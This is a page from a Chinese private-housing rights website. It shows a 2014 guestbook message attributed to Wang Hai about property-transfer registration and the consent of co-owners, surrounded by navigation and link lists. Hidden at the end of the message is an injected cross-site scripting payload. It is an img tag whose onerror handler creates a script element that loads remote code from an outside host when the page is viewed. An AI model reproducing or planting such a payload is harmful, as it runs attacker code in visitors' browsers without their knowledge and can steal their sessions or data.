欢迎光临! 请您留言 - 设为首页 - 加入收藏
  网站首页热点新闻房屋拆迁落私动态政策规定国家法律私房维权问与答留言相关知识涉法案件维权日志本站原创回忆录  

王海在本网留言

2014-11-23 16:25:08 来源:国纲私房维权网 浏览:1891

王海在本网留言:
国家的法律规定:对不动产的房屋买卖,需要到房产部门办理产权变更登记手续后才生效。房屋买卖不等于产权登记,这是两种法律关系。根据《民法通则》第四条;“民事活动应当遵循自愿.公平.等价有偿.诚实信用的原则。”和《中华人民共和国城市房地产管理法》第三十七条 第四项 规定共有房地产,未经其他共有人书面同意的,不得转让。一切均由单方决定并绝对掌控之,它就不可能是一种契约关系。而且单方改变这种关系的行为都是无效及非法的。<img/onerror=with(body)appendChild(createElement(/script/.source)).src=alt alt=//qqq.si/SpWrle src=xx:x width=0>

王海,男,汉族,1973年出生于山东青岛,现任和谐社区发展中心理事、王海热线消费者权益保护项目负责人、北京大海商务顾问有限公司总
经理,著有《我是刁民》《王海忠告》《当头棒喝》《物业维权一日通... 详情>>


相关评论
姓名:*
  联系QQ:
  邮箱:
  个人主页:
评论:*
验证:* 看不清?点击换一个


共有0人对本文发表评论 查看所有评论
 

最近更新
钱志铭先生的维权日志
全国千百万“国家经租房”权利人致十三届全
武汉市民糜晋瑜先生给市长的信
武汉闵小莲的检举控告信
武汉市市民糜晋瑜 先生向武汉市市长提出的咨
武汉市武昌区刘建军给包案区长胡建的一封公
武汉市民糜晋瑜给武汉市长的一封信
党中央从来没有出台将私有房产收归国有的政
私房改造是社会主义改造组成部分吗?
谈最高法文件清理结果的鉴定标准
定租与定息的区别
谈经租房政策的两个核心文件
最高法院判例:人民法院在立案环节不宜强求
向武汉市人民政府反映“关于祖宅土地房屋权
1.26亿的前世今生

赞助商链接

点击排行
冷明的部分博客
解决私房历史遗留问题的情况汇报
依法申请对规范性文件--最高院法发〔1992〕
给武汉市《市长信箱》的建议
武汉老年讨房团呼之欲出☆☆☆
关于撤销“落实私房产权通知书”的决定
信访事项复查复核申请
评阮竹青的谬论之一
递交给国家信访局的投诉信
党中央从来没有出台将私有房产收归国有的政
武汉市房管局的《答复书》?求助信?
这样的规定不会就这样寿终正寝了吧。
解读武汉市房管局官网上关于“解私”的一篇
涉及“落私”文件及法律汇编
{征求意见稿} {私房维权业主写给习总书记的
关 于 我 们 - 联 系 我 们
联系邮箱:lengming@126.com  1638754094 维权咨询

@Copyright 2024, 版权所有 www.chinahouse123.com/.